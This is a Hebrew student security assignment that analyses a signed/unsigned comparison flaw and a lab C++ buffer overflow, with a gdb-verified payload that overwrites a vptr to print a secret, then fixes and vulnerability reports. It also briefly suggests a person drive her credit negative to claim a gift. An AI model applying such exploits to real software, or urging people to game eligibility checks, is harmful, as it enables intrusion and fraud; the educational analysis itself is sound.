ממן 12

שאלה 1 סעיף א'

בפונקציה הנ"ל ישנה חולשה בשורה של הreturn כאשר היא משווה 2 סוגים של אובייקט int כאשר האחד הוא signed והשני הוא unsigned (כאשר לא מצויין unsigned ליד הint ברירת המחדל היא signed int). במעבד 32 ביט, unsigned int מייצג את המספרים השלמים האי שליליים הנכנסים ב32 ביט ולכן טווח הערכים הוא בין 0 ל 4,294,967,295 . לעומת זאת, signed int מייצג את המספרים השלמים הנכנסים ב32 ביט ולכן הביט הגבוה ביותר ישמש לסימון חיובי או שלילי. מכאן טווח הערכים הוא בין -2^{31} ל $2^{31}-1$ כלומר המינימום הוא 2,147,483,648- והמקסימום הוא 2,147,483,647 . בעת השוואה בין 2 הסוגים, הקומפיילר מבצע בהתחלה "קידום" של מספר שלם על האופרנדים של ההשוואה ורק לאחר מכן עוקב אחר ההמרות האריתמטיות הרגילות באופרנדים כך שיהיה ניתן לבצע השוואה על סוגים תואמים. כלומר, בפונקציה זו בשורה של ה return המשתנה credit מקבל "קידום" מסוג של signed int לסוג של unsigned int, אך הערך עצמו של credit נשאר אותו הדבר. לפיכך ערך שלילי במשתנה credit ייתן לנו ערך ממש גדול בסוג unsigned int כי הMSB יכיל ערך 1. כתוצאה מכך, הפונקציה תחזיר לנו true גם כאשר הערך של credit יהיה שלילי, ליתר דיוק כל ערך אשר גדול שווה ל750 או מספר שלילי יחזיר ערך true לפונקציה (ניצול החולשה). ההצעה שלי ליעל היא שאם הקרדיט שלה נמוך אז שתנסה להוריד עוד את הקרדיט שלה כך שהקרדיט יהיה שלילי וכך היא תוכל לקבל את המתנה מהחברה.

שאלה 1 סעיף ב'

ההצעות שלי לתיקון הקוד, אופציה אחת היא לשנות את סוג המשתנה bound להיות (signed)int וכך גם אם credit יכיל ערך שלילי עדיין ההשוואה תחזיר false . אופציה שנייה היא להכניס תנאי לפני ההשוואה שבו נבדוק אם credit שלילי, במקרה זה נחזיר false אחרת נבדוק את ההשוואה. בשני ההצעות לתיקון, החולשה של מספרים שלילים יחזירו true תיפסק.

שאלה 1 סעיף ג'- מסמך תיאור החולשה

Threat (איום):

ניצול השוואה בין משתנים מסוג signed ו-unsigned למתן זכויות או גישה בלתי מוצדקת למשתמשים על ידי הכנסה של ערכים שליליים.

Affected Component (רכיב מושפע):

פונקציות במערכת המבצעות השוואות בין ערכי signed ו-unsigned במיוחד במקרים שבהם הערך ה-signed יכול להיות שלילי.

Module Details (פרטי מודול):

הפונקציה is_entitled_for_promotional_gift(int ID) מבצעת השוואה בין הערך המוחזר מהפונקציה get_credit(ID) (שהוא מסוג int) לבין גבול מוגדר (750) שהוא מסוג unsigned int.

Vulnerability Class (סיווג פגיעות):

סוגי פגיעות תלויות סוג נתונים (Data Type Confusion) והשוואות לא נכונות בין signed ו- unsigned.

Description (תיאור):

הפונקציה מבצעת השוואה בין משתנה (credit) signed לבין משתנה (bound) unsigned . כאשר הערך של credit שלילי, הוא מומר לערך חיובי גדול מאוד במהלך ההשוואה, מה שעלול לגרום לפונקציה להחזיר תוצאה שגויה(true) , למרות שבאופן לוגי היא אמורה להחזיר false. הדבר עלול לגרום להענקת זכויות או גישה למשתמשים שאינם זכאים לכך.

Result (תוצאה):

פונקציה זו עלולה להחזיר true ולהעניק גישה או זכויות למשתמשים עם ערך שלילי של credit אשר אינם זכאים לכך.

Prerequisites (דרישות מקדימות):

הערך המוחזר על ידי get_credit(ID) יכול להיות שלילי.

המערכת צריכה לבצע השוואות בין משתנים מסוג signed ו- unsigned.

Business Impact (השפעה עסקית):

אובדן כספי: מתן הטבות, הנחות או גישה בלתי מוצדקת למשתמשים שאינם זכאים לכך.

פגיעה באמון הלקוחות: לקוחות עלולים לאבד אמון במערכת אם יגלו פגיעויות כאלה.

סיכון לתביעות משפטיות: אם נגרם נזק עקב ניצול הפגיעות, ייתכן שהארגון יעמוד בפני תביעות משפטיות.

Proposed Remediation (הצעת תיקון):

שימוש במשתנה signed עבור הגבול (bound)- שינוי סוג המשתנה bound ל- int כדי להבטיח שההשוואה תתבצע בין שני משתנים מאותו סוג.

```
bool is_entitled_for_promotional_gift(int ID)

{

    int bound = 750;

    int credit = get_credit(ID);

    return (credit >= bound);

}
```

אופציה שנייה בדיקה מפורשת לערכים שליליים- הוספת תנאי לפני ההשוואה שיבדוק אם credit הוא שלילי ויחזיר false במקרה זה.

```
bool is_entitled_for_promotional_gift(int ID)

{
```

```
    unsigned int bound = 750;
    int credit = get_credit(ID);
    if (credit < 0)
{
        return false;
}
    return (credit >= bound);
}
```

ביקורת קוד ואבטחת מידע- ביצוע ביקורת קוד קבועה לזיהוי חולשות מסוג זה, וכן שימוש במבחני חדירה (penetration testing) לאיתור בעיות נוספות הקשורות להשוואה בין סוגי משתנים.

שאלה 2 סעיף 1

בשאלה נדרש כי נקמפל את הקובץ כאשר ה ASLR (מנגנון רנדומיזציה של כתובות בזיכרון המשמש כטכניקת אבטחת מחשב המעורבת במניעת ניצול של פגיעויות של שחיתות זיכרון) כבוי, קובץ הבינארי יהיה x86 ושיהיה לנו דיבאגר עם מקסימום אינפורמציה, כמו כן אנחנו עובדים עם CPP גרסה 17. לכן נדבג את הקובץ על ידי הפקודה

```
g++ -std=c++17 -g3 -m32 -o mmn12-q2 mmn12-q2.cpp
```

בפונקציית main יש לנו משתנה env המקבל השמה מפונקציה dupenv מיועדת להחזיר עותק של ערך משתנה סביבה (Environment Variable) ששמו מועבר אליה כפרמטר (בהתאם למערכת ההפעלה windows או לינוקס) אם לא קיים ערך של משתנה סביבתי היא תחזיר NULL וכך משתנה allow_options יהיה false . במקרה כזה גם משתנה do_escape ישאר false ו-main תדפיס את הארגומנטים שקיבלה. במבט ראשוני על הקוד של התוכנית אנו רואים שיש משתנה (מאקרו) בשם VERY_SECRET_PASSWORD שבו קיים מחרוזת שאנחנו רוצים, מכיוון שזה משתנה מאקרו המשתנה עצמו לא קיים במחסנית ולכן לא נוכל לגשת לכתובת במחסנית בו הערך של המשתנה יימצא. נשים לב כי במחלקה Handler יש פונקציה בשם unreachable שאם נצליח בתוכנית לקרוא לה אז הפונקציה תדפיס את ערך המשתנה המאקרו ונקבל את המחרוזת שאנחנו רוצים. לפיכך כדי להגיע למצב כזה נצטרך תחילה לגרום למשתנה allow_options להיות true ולכן נוסיף את המשתנה הסביבתי באמצעות הפקודות הבאות:

נגדיר את המשתנה הסביבתי וניתן לו סתם ערך

```
export ECHOUTIL_OPT_ON="some value"
```

נוסיף את השורה הזו לקובץ bashrc שזהו קובץ תצורה שמבוצע בכל פעם שטרמינל חדש נפתח בסביבת Bash

```
echo ' export ECHOUTIL_OPT_ON="some value" '  >> ~/.bashrc
```

נטעם מחדש את קובץ bashrc כך שהשינויים בקובץ יכנסו לתוקף

```
source ~/.bashrc
```

בפקודה הזו נוכל לראות כי אכן יצרנו משתנה סביבתי חדש

```
echo $ECHOUTIL_OPT_ON
```

כעת כשנדבג את התוכנית נוכל לראות שאכן משתנה allow_options הפך להיות true .
נשים לב שכאשר ניתן את הארגומנט version-- נקבל את הפלט הבא

```
echoutil version 1.0
```

וכאשר ניתן את הארגומנט help-- נקבל את הפלט הבא

```
Echo the STRING(s) to standard output

      -n   do not output the trailing newline

      -e   enable interpretation of backslash escapes
```

If - e is in effect, the following sequences are recognized :

\xHH byte with hexadecimal value HH(1 to 2 digits)

ועבור כל ארגומנט אחר main תדפיס את הארגומנט. כלומר, גילינו שעבור מחרוזת כאשר הארגומנט הראשון הוא והארגומנט השני מסוג \xHH נקבל אופציה לפרשנות של בתים ולכן זו נקודת ציון שעם קלט כזה אולי נוכל לנסות למצוא את האפשרות שבה נעבוד על התוכנית להדפיס לנו את המחרוזת שאנו רוצים. מכיוון שפונקציה unreachable היא פרטית, לא נוכל לגשת אליה ישירות ולכן נצטרך למצוא דרך בה אנחנו ניגשים לאובייקט של המחלקה ואולי דרכו נוכל לגשת אל הפונקציה. נוכל לראות כי פונקציה handle_escape מגדירה בתוכה אובייקט של המחלקה Handler ,נציב לנו את הפונקציה הזו כמטרה בדרך. על מנת שהתוכנית תוכל להפעיל פונקציה זו היא צריכה שהמשתנה do_escape יהיה true וכן התו הראשון של הארגומנט הנוכחי יהיה '\\' , נוכל לראות כי הלולאה בשורה 158 (בקובץ המקורי שקיבלנו) הנמצאת בתוך הלולאה החיצונית בשורה 142(בקובץ המקורי שקיבלנו) נותנת השמה true למשתנה do_escape כאשר הארגומנט השני או כל אינדקס של ארגומנט שבא ברצף מהארגומנט השני הוא e- (הראשון הוא התוכנית) כאשר מספרים התווים e יכול להיות כמה פעמים. למשל e- e,-ee,-eee,-e -e,-ee -e וכך הלאה, ניקח את האופציה הכי קלה שהיא e-. עכשיו על מנת שנגיע לhandle_escape נצטרך שהארגומנט האחרון יכיל את התו ראשון הזה '\\' . כעת שאנחנו בתוך הפונקציה handle_escape נוכל לראות כי מוגדר לנו struct שבתוכו יש buffer יש 16 תווים ואובייקט של המחלקה Handler, לאחר מכן נשים לב כי מתבצעת העתקה של תווים מהמחרוזת המכילה את הארגומנט שהכיל את התו הראשון '\\' לפוינטר עם הbuffer בגודל 16 התווים כאשר גודל ההעתקה הוא כאורך הארגומנט. כלומר, גילינו חולשה של buffer overflow על הstruct שהוגדר, אם בארגומנט שמכיל את התו '\\' נכניס יותר מ16 תווים (לא כולל התוו הראשון) אנו בעצם נדרוס ערכים הקיימים במשתנה h של המחלקה Handler. גילוי זה מהווה פריצת דרך אך עדיין לא מבטיח לנו אפשרות לגלות את המחרוזת הנמצאת ב-
VERY_SECRET_PASSWORD . נמשיך לחקור ונראה שכאשר הארגומנט המכיל את התו הראשון '\\' מכיל תו שני x אנו פונים לפונקציה הפומבית של המשתנה של המחלקה Handler הנקראת interpret, פונקציה זו קוראת לפונקציה פרטית הנקראת helper עם אותה מחרוזת הקיימת בbuffer.

שאלה 2 סעיף 2

הפונקציות הפרטיות helper ו- unreachable הנמצאות במחלקה Handler הן פונקציות וירטואליות ועל כן בזמן ריצה אובייקט מסוג המחלקה Handler קיים מצביע הנקרא vptr על הטבלה הווירטואלית vtable שבה נמצאים מצביעים לכתובות של הפונקציות הווירטואליות הרלוונטיות למשתנה בזמן הריצה. כלומר, למשתנה h בתוך הstruct שקיים בפונקציה handle_escape קיים פויינטר vptr המצביע על הטבלה הווירטואלית vtable שבה יש מצביעים לפונקציות הווירטואליות helper ו- unreachable. על ידי הפקודה info vtbl l.h בgdb נוכל לראות את הטבלה הווירטואלית

```
(gdb) info vtbl l.h
vtable for 'Handler' @ 0x8049448 (subobject @ 0xbfffef58):
[0]: 0x8049454 <typeinfo for Handler>
[1]: 0x8049018 <Handler::unreachable()>
```

מה שקורה מאחורי הקלעים זה ש *vptr==&unreachable אז כדי להגיע לhelper האסמבלי בעצם עושה eax=*vptr+4 ולפי הvtable , *vptr+4=&helper והאסמבלי קורא לפונקציה שהכתובת שלה שמורה בeax. מכיוון שכיבינו את הASLR הכתובות נשארות אותו הדבר מהרצה להרצה ולכן נוכל למצוא את הערך של הvptr שיגרום כך ש *vptr==&unreachable-4 ככה שבקריאה באסמבלי יהיה eax=*vptr+4=&unreachable.

מכאן שמצאנו חולשה בקוד. מקודם הראינו שיש חולשת buffer overflow על משתנה buffer כאשר היא מנוצלת היא בעצם דורסת את המידע במשתנה h שהוא אובייקט במחלקה Handler אך מכיוון שבמחלקה יש פונקציות וירטואליות, במשתנה h יש vptr לטבלה הווירטואלית בה יש את המצביעים לכתובות של הפונקציות הפרטיות הווירטואליות helper ו- unreachable . כלומר נוכל לנצל את הBOF כדי לדרוס את הערך של vptr להיות הכתובת שאליה הוא מצביע פחות 4 (השורות/כתובות באסמבלי קופצות ב4 במעבד 32 ביט) כך שכאשר הפונקציה interpret תקרא לפונקציה הווירטואלית helper היא בעצם תקרא לפונקציה הווירטואלית unreachable וכך תדפיס לנו את המחרוזת שרצינו למצוא הקיימת במשתנה (מאקרו) VERY_SECRET_PASSWORD.

בתמונה המוצגת ראינו כי הערך של vptr הוא 0x804944c ולכן נרצה לדרוס את הערך הזה ולהכניס את הערך פחות 4 כלומר 0x8049448 וכך נוכל לגרום לפונקציה הווירטואלית unreachable להדפיס לנו את המחרוזת שרצינו למצוא הקיימת במשתנה (מאקרו) VERY_SECRET_PASSWORD.

לפיכך, המחרוזת שנכניס בארגומנט היא

-e \\x000000000000000$(printf '\x48\x94\x04\x08')

נדבג

```
user@ubuntu:~/Documents$ gdb ./mmn12-q2
```

נכניס את המחרוזת כארגומנט

```
(gdb) set args -e \\x000000000000000$(printf '\x48\x94\x04\x08')
```

נכניס נקודות בו הדיבאגר יעצור. אחד בשורה 79 (בקובץ מקור) לפני הדריסה על h ואחת בשורה 86 (בקובץ מקור) לאחר שדרסנו ערכים בh

```
(gdb) break 79
Breakpoint 1 at 0x8048ce8: file mmn12-q2.cpp, line 79.
(gdb) break 86
Breakpoint 2 at 0x8048d1b: file mmn12-q2.cpp, line 86.
```

נפעיל את הדיבאגר

```
(gdb) run
Starting program: /home/user/Documents/mmn12-q2 -e \\x000000000000000$(printf '\
x48\x94\x04\x08')

Breakpoint 1, handle_escape (
    str=0xbffff26d "\\x", '0' <repeats 15 times>, "H\224\004\b")
    at mmn12-q2.cpp:79
79          const char* s = str;
```

נראה את הכתובות הנמצאות בטבלה הווירטואלית לפני הBOF

בכתובת 0x804944c מתחילה ה-vtable, שמכילה מצביעים לפונקציות הווירטואליות של המחלקה Handler:

כתובת 0x804944c (אינדקס 0 ב-vtable): מכילה את הכתובת 0x8049018, שהיא הכתובת של הפונקציה הווירטואלית unreachable.

כתובת 0x8049450 (אינדקס 1 ב-vtable): מכילה את הכתובת 0x804903e, שהיא הכתובת של הפונקציה הווירטואלית helper.

```
(gdb) info vtbl l.h
vtable for 'Handler' @ 0x804944c (subobject @ 0xbfffef58):
[0]: 0x8049018 <Handler::unreachable()>
[1]: 0x804903e <Handler::helper(char const*)>
```

נמשיך

```
(gdb) continue
Continuing.

Breakpoint 2, handle_escape (
    str=0xbffff26d "\\x", '0' <repeats 15 times>, "H\224\004\b")
    at mmn12-q2.cpp:86
86          switch (l.buffer[0])
```

נראה את הכתובות הנמצאות בטבלה הווירטואלית לאחר הBOF נוכל לראות כי עכשיו באינדקס 1 איפה שהייתה הפונקציה helper מופיעה עכשיו הפונקציה unreachable

```
(gdb) info vtbl l.h
vtable for 'Handler' @ 0x8049448 (subobject @ 0xbfffef58):
[0]: 0x8049454 <typeinfo for Handler>
[1]: 0x8049018 <Handler::unreachable()>
```

נמשיך את הריצה של הדיבאגר ונוכל לראות שאכן הפונקציה unreachable פעלה במקום helper וכך גרמנו לכך שיודפס לנו את המחרוזת שרצינו שהיה במשתנה (מאקרו) VERY_SECRET_PASSWORD

```
(gdb) continue
Continuing.
Cowabunga![Inferior 1 (process 3914) exited normally]
```

הבעיה העיקרית בקוד שכך גרם לנו לגשת למידע שבעבר לא היה לנו אופציה לגשת אליו הוא זה שלא הייתה לנו בדיקה על גודל הקלט לפונקציה handle_escape בעת העתקה למשתנה פנימי, כלומר הBOF (כמובן שגם ביטול הASLR היא גם בעיה אך זו הדרישה).

זו ההרצה של התוכנית עם הארגומנט שאיתו קיבלנו את המחרוזת שרצינו לגלות

```
user@ubuntu:~/Documents$ ./mmn12-q2 -e \\x000000000000000$(printf '\x48\x94\x04\
x08')
Cowabunga!user@ubuntu:~/Documents$
```

שאלה 2 סעיף 3

ההצעה שלי לתיקון היא שנכניס משתנה מונה המאותחל ל0 וכל פעם שיש איטרציה בלולאה של ה while תהיה בדיקה אם הוא קטן מ16 אם כן תתבצע ההעתקה של התו והמונה יגדל ב1. לפיכך אנו מונעים מצב של BOF ולא תתבצע דריסה על האובייקט h ממחלקה Handler. בנוסף נוסיף משתנה מאקרו שייצג את הגודל של הbuffer ככה שאם נרצה לשנות את הגודל שלו לא יקרה מצב שיהיה שינוי רק בחלק מהמקומות.

כלומר, הפונקציה handle_escape תראה כך(יופיע גם בקובץ עצמו שאשלח):

```
#define BUFFER_SIZE 16 ////buffer size

void handle_escape(const char* str)

{

  int c = 0;////initializing counter for checking the number of copies

  struct

  {

    char buffer[BUFFER_SIZE] = { 0 };////giving the buffer a size that depends on the macro

    Handler h;

  } l;

  // copy only the characters after the escape char

  const char* s = str;

  char* p = l.buffer;

  s++;

  while (*s && c < BUFFER_SIZE)////checking that the counter is less than the buffer size

  {

    *p++ = *s++;

    c++;////moving the counter by one

  }

  // handle different options

  switch (l.buffer[0])

  {

  case 'x':
```

```
      l.h.interpret(l.buffer);
      break;
    default:
      fputs(str, stdout);
    }
}
```

אם ננסה להכניס את אותו ארגומנט לאחר השינוי בקוד וקימפולו מחדש נוכל לראות שתיקנו את החולשה של ה BOF שהייתה קיימת

```
user@ubuntu:~/Documents$ g++ -std=c++17 -g3 -m32 -o mmn12-q2-sol mmn12-q2-sol.cp
p
user@ubuntu:~/Documents$ ./mmn12-q2-sol -e \\x000000000000000$(printf '\x48\x94\
x04\x08')

user@ubuntu:~/Documents$
```

שאלה 2 סעיף 4- מסמך תיאור החולשה

Threat (איום):

ניצול חולשת Buffer Overflow בתוכנית על מנת לשנות את המצביע vptr הנמצא באובייקט h ממחלקת Handler. החולשה מאפשרת לתוקף לדרוס את הערך של vptr, כך שבמקום להצביע על הפונקציה הווירטואלית helper, הוא יצביע על הפונקציה הווירטואלית unreachable. כתוצאה מכך, בעת קריאה לפונקציה helper, תופעל הפונקציה unreachable, והערך של המאקרו VERY_SECRET_PASSWORD יודפס על המסך.

Affected Component (רכיב מושפע):

ה-struct המכיל את האובייקט ממחלקת Handler, שבתוכו נמצא המצביע vptr לטבלה הווירטואלית. הטבלה הווירטואלית מכילה מצביעים לפונקציות הווירטואליות helper ו-unreachable

Module Details (פרטי מודול):

הפונקציה handle_escape(const char* str) מעתיקה את התוכן של המחרוזת str למשתנה buffer בתוך ה-struct. התהליך אינו בודק את גודל המחרוזת str ביחס לגודל ה-buffer, דבר המאפשר גלישת חוצץ.

Vulnerability Class (סיווג פגיעות):

גלישת חוצץ (Buffer Overflow) המאפשרת גישה לפונקציות פרטיות כמו גם חשיפת הערך של משתנה המאקרו VERY_SECRET_PASSWORD.

Description (תיאור):

בפונקציה handle_escape, מתבצעת העתקה של תוכן המחרוזת str למשתנה p, אשר מצביע ל-buffer בתוך ה-struct. בעוד שה-buffer מוגבל לגודל של 16 תווים, אין הגבלה על גודל המחרוזת str. כתוצאה מכך, מתרחשת גלישת חוצץ כאשר str ארוך מדי, מה שגורם לדריסה של משתנים אחרים בזיכרון, כולל ה-vptr, וכתוצאה מכך ניתן לקבל גישה לפונקציות פרטיות.

Result (תוצאה):

ניצול החולשה עשוי להוביל ל-Buffer Overflow ולדריסה של ה-vptr, מה שיאפשר גישה לפונקציות פרטיות כמו unreachable וחשיפת ערכים רגישים כגון VERY_SECRET_PASSWORD.

Prerequisites (דרישות מקדימות):

העתקה של מחרוזת גדולה מדי ל-buffer בפונקציה handle_escape.

התוכנית צריכה לפעול ללא הגנה מספקת על גודל ה-buffer.

Business Impact (השפעה עסקית):

חולשה זו יכולה לגרום לחשיפה של מידע סודי, כמו סיסמאות או מפתחות הצפנה, ולפגוע בביטחון המידע הארגוני. בנוסף, עלולה להתרחש פגיעה במוניטין העסקי ובאמון הלקוחות.

Proposed Remediation (הצעת תיקון):

כדי למנוע את ניצול החולשה, יש לבצע את השינויים הבאים בקוד:

הגבלת גודל ההעתקה- יש להכניס מונה אשר יתחיל מ-0, ובכל איטרציה בלולאה while תהיה בדיקה אם המונה קטן מ-16. אם כן, תתבצע ההעתקה של התו והמונה יוגדל ב-1.

שימוש במאקרו לגודל ה-buffer-על מנת למנוע שגיאות בעת שינוי גודל ה-buffer, יש להגדיר את גודל ה-buffer כמאקרו, כך שכל שינוי בגודל יתבצע באופן אחיד בכל המקומות בקוד.

הקוד המשופר ייראה כך:

כלומר, הפונקציה handle_escape תראה כך(יופיע גם בקובץ עצמו שאשלח):

```
#define BUFFER_SIZE 16 ////buffer size

void handle_escape(const char* str)

{

  int c = 0;////initializing counter for checking the number of copies

  struct

  {

    char buffer[BUFFER_SIZE] = { 0 };////giving the buffer a size that depends on the macro

    Handler h;

  } l;

  // copy only the characters after the escape char

  const char* s = str;

  char* p = l.buffer;

  s++;

  while (*s && c < BUFFER_SIZE)////checking that the counter is less than the buffer size

  {

    *p++ = *s++;

    c++;////moving the counter by one

  }

  // handle different options

  switch (l.buffer[0])

  {
```

```
  case 'x':
    l.h.interpret(l.buffer);
    break;
  default:
    fputs(str, stdout);
  }
}
```

ביקורת קוד ואבטחת מידע- ביצוע ביקורת קוד קבועה לזיהוי חולשות מסוג זה, וכן שימוש במבחני חדירה (penetration testing) לאיתור בעיות נוספות הקשורות להשוואה בין סוגי משתנים.